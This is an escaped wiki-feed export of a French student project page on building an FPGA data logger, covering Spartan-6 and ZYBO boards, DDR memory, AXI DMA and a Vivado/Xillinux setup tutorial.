[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Tuto9.PNG|500px|thumb|center]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir. On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO. Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Adress_map.PNG|500px|thumb|center]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent. J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. J'ai   pu   mesurer   la   vitesse d'acquisition   des   données,   celle   ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent   de   récupérer   directement   les données qui sont dans la RAM à partir du linux embarqué.&lt;br /&gt;
&lt;br /&gt;
====Direct Memory Acess====&lt;br /&gt;
Tout d'abord, Xilinx marque une différence entre AXI DMA et AXI VDMA (Video Direct Memory Acess). AXI DMA fait réference à l'accès traditionnel à la mémoire DDR en transférant arbitrairement un flux de données depuis le FPGA vers la mémoire DDR. VDMA ajoute un mécanisme de stockage synchrone par frame en utilisant un ring buffer dans la DDR.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
AXI DMA distingue deux voies : MM2S (Memory-Mapped to Stream) qui transporte les données de la DDR au FPGA et S2MM (Stream to Memory-Mapped) qui transporte arbitrairement le flux de données à la DDR.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DMA.PNG|500px|thumb|center]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Utiliser la board Zybo permet de récupérer les données de manière avantageuse. Un simple script python permet d'accéder aux données et de les inscrire dans un fichier. L'avantage de l'architecture AXI DMA sur un ZYNQ 7000 est que l’architecture hybride facilite les choses. Permettant au FPGA de fonctionner avec les avantages de fonctionner en partie avec des lignes de commande. Ici la mémoire DDR va être partagée entre le processeur Cortex et le FPGA.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le fichier RAR rendu en Annexe, vous trouverez un projet nommé AXI_DMA qui est le projet d'accès à la mémoire par DMA. Celui-ci fonctionne avec le SDK, il utilise un bloc FIFO pour le test. Il faut remplacer ce bloc par un bloc d'acquisition des GPIO. Pour accéder au debug, il faut exporter le bitstream qui est généré, générer un code en C/C++ et le lancer dans le processeur cortex. Pour l'instant, je n'arrive pas à debugger le programme que j'ai fait car je ne comprends pas tous les éléments que me renvoie la liaison série. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DesignAXI DAM.PNG|500px|thumb|center]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
À droite on voit l'IP « processing_system7_0 » qui permet l'interaction entre les deux cœurs et le partage de certaines ressources comme les GPIOs et la DDR. Au centre on voit l'IP AXI_DMA qui est relié au bloc FIFO qu'il faut remplacer par un bloc GPIO que l'on peut trouver dans le projet « zybo_base_system.backup_bitstream_linux ». On voit aussi le bloc processing7_0_axi_periph qui permet un ordonnancement des périphériques entre les deux cœurs. Enfin, on trouve un bloc « xlconcat0 » qui permet d'utiliser le bloc DMA en mode « polling » grâce au déclenchement d'interruption sur le Zynq Processing System (PS).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
	Le mode « polling » consiste à faire attendre au PS que le FPGA lui dise de lire les données. C'est une méthode par interruption. Ainsi, il faut modifier l'IP de manière à ce que lorsque la mémoire DDR est pleine l'interruption se déclenche pour que le PS vienne inscrire les données dans un fichier.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
	Cette méthode peut fonctionner mais il faut bien maîtriser le flow de conception pour y arriver. Je conseille de commencer par la récupération et le stockage de données dans la DDR de la ZYBO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Analyse et conclusion==&lt;br /&gt;
Pendant toute la durée du PFE, j'ai pu m’intéresser au sujet de la mémoire SDRAM et aux FPGA. J'ai eu l'occasion de comparer différentes techniques de développement et de tester de nombreux programmes. J'ai pu faire des recherches approfondis sur le concept de mémoire pour pouvoir mettre en place une structure de réflexion autours de mon sujet. J'ai eu l'occasion de parler avec un ingénieur hardware en personne du sujet et de communiquer sur des forums pour trouver des solutions. J'ai eu la chance d'effectuer des recherches sur des sujets autant pratiques que théoriques ce qui m'a permis de mettre en relation les deux types de savoir. J'ai pu me familiarisé avec une board FPGA tel que la ZYBO, ce qui m'a donné l'envie de continuer, et d'investir dans ce type de plate-forme. J'aimerai à l'avenir que ce sujet soit poursuivit pour aboutir à sa réussite totale, pas seulement pour les besoins du laboratoire, mais aussi pour que les possibilités d'une telle fonctionnalités servent à d'autres projets.&amp;lt;br&amp;gt;&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27735</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27735"/>
				<updated>2016-02-23T19:36:51Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Direct Memory Acess */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
